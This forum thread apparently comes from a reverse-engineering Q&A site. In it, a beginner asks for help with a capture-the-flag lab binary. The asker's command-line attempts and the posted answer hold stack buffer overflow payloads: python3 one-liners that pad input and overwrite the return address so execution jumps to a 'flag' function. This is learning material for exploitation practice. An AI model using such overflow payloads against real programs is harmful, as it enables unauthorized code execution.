I'm an absolute newbie when it comes to all this side of reverse engineering. Each time I try and understand it, I get lost almost immediately.

I am trying a lab. I open it up in Binary Ninja. I get the following

enter image description here

When I open main I get the following

enter image description here

Nothing much seems to happen but there is a function(?) called flag that looks like what I need

enter image description here

When I copy the address, it comes out as:


I'm trying to do stuff like this on the command line but getting nowhere fast

python3 -c "print (28 * 'A' + '\x52\x11\x40')" | ./santa;

I then try to iterate through and no luck although I do get a segmentation fault on the 53rd iteration

for i in {0..60}; do python3 -c "print ($i * 'A' + '\x52\x11\x40')" | ./santa; done

Any pointers? I'm absolutely lost

  • Hi, generally we recommend to paste text as text, not screenshots. The reason being that search engines won't index screenshots the same way as text.
    – 0xC0000022L
    Dec 16 '21 at 9:59
python3 -c "print (56 * 'A' + '\x53\x11\x40\x00\x00\x00\x00\x00')" | ./santa
  • 2
    Would you care to elaborate on your solution?
    – NirIzr
    Nov 30 '21 at 8:22

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